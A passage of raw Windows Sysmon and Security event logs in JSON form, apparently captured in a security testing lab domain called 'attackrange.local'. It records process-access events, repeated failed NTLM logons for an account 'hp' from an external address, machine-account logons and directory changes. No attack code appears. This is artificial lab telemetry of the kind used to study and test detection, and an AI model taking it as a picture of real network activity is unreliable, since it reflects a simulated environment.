11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221688,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51399\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51399","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221689,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t51523\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"51523","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"WARNING","SeverityValue":3,"Severity":"WARNING","EventID":144,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76827,"ProcessID":1220,"ThreadID":4272,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time service has stopped advertising as a good time source.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":35,"SourceName":"Microsoft-Windows-Time-Service","ProviderGuid":"{06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76828,"ProcessID":1220,"ThreadID":4272,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"LOCAL SERVICE","UserID":"S-1-5-19","AccountType":"Well Known Group","Message":"The time service is now synchronizing the system time with the time source time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123).","Opcode":"Info","TimeSource":"time.windows.com,0x8 (ntp.m|0x8|0.0.0.0:123->51.105.208.173:123)","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221690,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44C96\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x44c96","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221691,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x44C96\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51366\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x44c96","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51366","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221692,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44C96\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{e54f5002-5d7a-4c46-a9a1-3b82bbf8d708}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{f3a64788-5306-11d1-a9c5-0000f80367c1}\r\n\t{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x44c96","ObjectServer":"DS","ObjectType":"%{bf967a86-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{e54f5002-5d7a-4c46-a9a1-3b82bbf8d708}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{f3a64788-5306-11d1-a9c5-0000f80367c1}\r\n\t{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4742,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13825,"OpcodeValue":0,"RecordNumber":221693,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A computer account was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44C96\r\n\r\nComputer Account That Was Changed:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tDisplay Name:\t\t-\r\n\tUser Principal Name:\t-\r\n\tHome Directory:\t\t-\r\n\tHome Drive:\t\t-\r\n\tScript Path:\t\t-\r\n\tProfile Path:\t\t-\r\n\tUser Workstations:\t-\r\n\tPassword Last Set:\t-\r\n\tAccount Expires:\t\t-\r\n\tPrimary Group ID:\t-\r\n\tAllowedToDelegateTo:\t-\r\n\tOld UAC Value:\t\t-\r\n\tNew UAC Value:\t\t-\r\n\tUser Account Control:\t-\r\n\tUser Parameters:\t-\r\n\tSID History:\t\t-\r\n\tLogon Hours:\t\t-\r\n\tDNS Host Name:\t\t-\r\n\tService Principal Names:\t\r\n\t\tldap/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local\r\n\t\tldap/WIN-DC-9849183\r\n\t\tldap/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tldap/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tldap/WIN-DC-9849183/ATTACKRANGE\r\n\t\tE3514235-4B06-11D1-AB04-00C04FC2DCD2/062c97a2-6720-40cd-aa6f-32f2c424c35b/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local\r\n\t\tHOST/WIN-DC-9849183\r\n\t\tHOST/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tHOST/WIN-DC-9849183/ATTACKRANGE\r\n\t\tRPC/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tRestrictedKrbHost/WIN-DC-9849183\r\n\t\tRestrictedKrbHost/win-dc-9849183.attackrange.local\r\n\t\tGC/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tDNS/win-dc-9849183.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/DomainDnsZones.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/ForestDnsZones.attackrange.local\r\n\t\tTERMSRV/win-dc-9849183.attackrange.local\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Computer Account Management","Opcode":"Info","ComputerAccountChange":"-","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x44c96","PrivilegeList":"-","SamAccountName":"-","DisplayName":"-","UserPrincipalName":"-","HomeDirectory":"-","HomePath":"-","ScriptPath":"-","ProfilePath":"-","UserWorkstations":"-","PasswordLastSet":"-","AccountExpires":"-","PrimaryGroupId":"-","AllowedToDelegateTo":"-","OldUacValue":"-","NewUacValue":"-","UserAccountControl":"-","UserParameters":"-","SidHistory":"-","LogonHours":"-","DnsHostName":"-","ServicePrincipalNames":"\r\n\t\tldap/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local\r\n\t\tldap/WIN-DC-9849183\r\n\t\tldap/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tldap/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tldap/WIN-DC-9849183/ATTACKRANGE\r\n\t\tE3514235-4B06-11D1-AB04-00C04FC2DCD2/062c97a2-6720-40cd-aa6f-32f2c424c35b/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tHOST/win-dc-9849183.attackrange.local\r\n\t\tHOST/WIN-DC-9849183\r\n\t\tHOST/win-dc-9849183.attackrange.local/ATTACKRANGE\r\n\t\tHOST/WIN-DC-9849183/ATTACKRANGE\r\n\t\tRPC/062c97a2-6720-40cd-aa6f-32f2c424c35b._msdcs.attackrange.local\r\n\t\tRestrictedKrbHost/WIN-DC-9849183\r\n\t\tRestrictedKrbHost/win-dc-9849183.attackrange.local\r\n\t\tGC/win-dc-9849183.attackrange.local/attackrange.local\r\n\t\tDNS/win-dc-9849183.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/DomainDnsZones.attackrange.local\r\n\t\tldap/win-dc-9849183.attackrange.local/ForestDnsZones.attackrange.local\r\n\t\tTERMSRV/win-dc-9849183.attackrange.local","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221694,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44C96\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{e54f5002-5d7a-4c46-a9a1-3b82bbf8d708}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{f3a64788-5306-11d1-a9c5-0000f80367c1}\r\n\t{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x44c96","ObjectServer":"DS","ObjectType":"%{bf967a86-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{e54f5002-5d7a-4c46-a9a1-3b82bbf8d708}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{e48d0154-bcf8-11d1-8702-00c04fb96050}\r\n\t\t\t{f3a64788-5306-11d1-a9c5-0000f80367c1}\r\n\t{bf967a86-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4742,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13825,"OpcodeValue":0,"RecordNumber":221695,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A computer account was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x44C96\r\n\r\nComputer Account That Was Changed:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tDisplay Name:\t\t-\r\n\tUser Principal Name:\t-\r\n\tHome Directory:\t\t-\r\n\tHome Drive:\t\t-\r\n\tScript Path:\t\t-\r\n\tProfile Path:\t\t-\r\n\tUser Workstations:\t-\r\n\tPassword Last Set:\t-\r\n\tAccount Expires:\t\t-\r\n\tPrimary Group ID:\t-\r\n\tAllowedToDelegateTo:\t-\r\n\tOld UAC Value:\t\t-\r\n\tNew UAC Value:\t\t-\r\n\tUser Account Control:\t-\r\n\tUser Parameters:\t-\r\n\tSID History:\t\t-\r\n\tLogon Hours:\t\t-\r\n\tDNS Host Name:\t\t-\r\n\tService Principal 